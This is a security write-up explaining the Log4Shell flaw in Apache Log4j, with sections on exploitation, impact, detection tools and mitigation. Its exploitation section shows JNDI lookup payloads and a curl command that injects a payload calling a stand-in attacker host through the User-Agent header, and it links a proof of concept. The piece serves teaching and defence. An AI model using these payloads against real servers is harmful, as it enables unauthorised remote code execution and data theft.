Log4j zero-day vulnerability : Exploitation, Detection & Mitigation
CVE-2021-44228 : Log4Shell/Log4Jam
Overview
You might have already heard about the zero-day vulnerability discovered in the Apache Log4j 2 Java library that has taken the internet by storm. In this writeup, I intend to discuss in-depth about this vulnerability and it’s impact, detection & mitigation.
What is Log4j?
Log4j is a fast, reliable and flexible logging framework which is written in Java and is part of the Apache Logging Services. It is basically an open-source Java API used for logging, to track activity within an application.
Log4j Architecture
As per apache.org, “Applications using the Log4j 2 API will request a Logger with a specific name from the LogManager. The LogManager will locate the appropriate LoggerContext and then obtain the Logger from it. LoggerConfig objects are created from Logger declarations in the configuration. The LoggerConfig is associated with the Appenders that actually deliver the LogEvents”
Exploitation
Let’s take a look at how this vulnerability can be exploited. It’s quite simple to exploit which makes it even more dangerous and severe.
The vulnerability is a Remote Code Execution (RCE) as a result of improper input handling that can allow an attacker to gain complete access of the target system, without authentication. To understand the vulnerability, let’s take a simple Java code sample that utilizes Log4j.
import java.util.*;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class poc{
static Logger logger = LogManager.getLogger(poc.class);
public static void main(String args[]) {
System.out.println("Enter your name:");
Scanner sc = new Scanner(System.in);
String name = sc.nextLine();
logger.error(name);
System.out.println("Hi "+name);
}
}The above code snippet simply takes an input name from the user, logs the name as an error using log4j and prints it out.
Let’s take a look at a few sample outputs -
Log4j has a feature called “lookups” to fetch and add certain values to the log4j configuration based on specified arguments within the lookup enclosed in ${}.
They are of the form = ${java:os} Here, the Java OS version will be fetched and added as a value.
This can be easily abused by an attacker as there is no input validation and the user completely controls the string that gets logged by log4j. An attacker can simply enter lookups to extract information from the server side and even to execute commands. Let’s take a look at another user input to the sample code we saw above -
Here, the string ${env:USER} is used to extract the USER environment variable on the server and it gets displayed in our output as Log4j uses the lookup to parse and fetch that value. Now that we have a basic understanding of how the exploit works, let’s amp up the impact and look at remote lookups!
Log4j has another functionality called Java Naming and Directory Interface (JNDI) that basically provides directory services to an application and can be used to get data from a remote server and supports protocols such as LDAP, RMI etc. For example using a remote lookup to communicate with an LDAP server can be achieved by using: ${jndi:ldap://<server-ip>/context-name}
This functionality can be abused by attackers for Remote Code Execution. For example, by adding a remote lookup like this will make Log4j reach out to a remote server of the attacker’s choice to extract data: ${jndi:ldap://www.malicious.com/payload}
Attackers need to simply get the vulnerable application using Log4j, to log a jndi lookup entered as a user input and host a malicious server to deliver the payload. This can be done by attacking commonly logged fields in web requests such as the User-Agent headers and embedding jndi payloads in them. A sample curl request that embeds the payload in the User-Agent header would look like this :
curl -H "User-Agent: ${jndi:ldap://www.malicious.com/payload}" target.comWhen the User-Agent, with the embedded remote lookup gets logged on the target server, and Log4j parses the payload, a request will be sent to fetch data from the LDAP server specified through jndi. This enables an attacker to host a server with an LDAP referrer that forwards the request coming in to LDAP, to another HTTP server that handles the request and responds back to the target server with a payload to obtain a shell on the target application’s backend server.
The following repo by mbechler offers a Java implementation to setup an LDAP referrer to test out this exploit.
A POC for the exploit can be found here: https://github.com/xiajun325/apache-log4j-rce-poc
Impact
Affected Log4j versions: version 2.0 to version 2.14.1 inclusive.
There are millions of applications that utilize Java which makes for a large attack surface. Many large software companies and online services use the Log4j library for logging, including Amazon, Apple, Cisco, Cloudflare, ElasticSearch, Red Hat, Steam, Tesla, Twitter, and many more. A list of verified attack surfaces vulnerable to Log4Shell can also be found here. What makes this difficult to patch and challenging to detect is the fact that this can be present in multiple dependencies and third party services used within applications. Various companies and organizations will have to work together to patch their individual applications to ensure that all dependencies involved are covered and properly patched to address this vulnerability.
Detection
Many great detection tools and rules have been built and shared online by various security researchers and organizations, that can help us to detect Log4Shell in our applications. Let’s take a look at some of them -
Huntress Labs log4shell tester — https://log4shell.huntress.com
This tester provides a payload with a unique identifier and accepts LDAP connections from vulnerable apps and displays the IP address from which it recieved connections. The sample code we discussed above can also be used to test this out.
Log4Shell Detector by Florian Roth — https://github.com/Neo23x0/log4shell-detector
This is an automated python script created by Florian Roth to detect Log4Shell by matching jndi payloads. The script basically parses logs and a detection is triggered if all characters in the below string is matched in any order. The script also takes into account various forms of URL based encodings: ${jndi:ldap:
Yara Rules by Florian Roth — https://github.com/Neo23x0/signature-base/blob/master/yara/expl_log4j_cve_2021_44228.yar
Yara rules that match commonly observed payload strings and patterns found in the wild.
Log4Shell command line tool by LunaSec — https://github.com/lunasec-io/lunasec/releases/
LunaSec have also built a command line utility that checks for .jar and .war files in project directories and checks if they are vulnerable by matching hashes of known vulnerable log4j classes. A list of hashes can be found here.
Log4Shell Scanner Burp Suite Plugin — Burp Suite also has a plugin for it’s Pro edition to scan for Log4Shell. I haven’t personally used it but you can give it a try!
Mitigation
The best and most effective fix for this vulnerability would be to upgrade log4j dependencies to the latest version released by Apache, which is log4j 2.16.0. The latest version resolves the vulnerability and improves the overall security of log4j. It would also be a good idea to ensure that the running Java instances are up-to-date.
If an immediate patch is not possible, either of the below workarounds can be implemented for the time being while working towards patching —
- Message lookups can be disabled globally by setting the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true
- Lookups can also be disabled for a specific execution, by using the command-line flag ‐Dlog4j2.formatMsgNoLookups=True when running the vulnerable Java application: java ‐Dlog4j2.formatMsgNoLookups=True -jar app.jar
- Another way would be to find and remove the JndiLookup class from any Java applications using log4j, so that jndi lookups cannot be triggered.
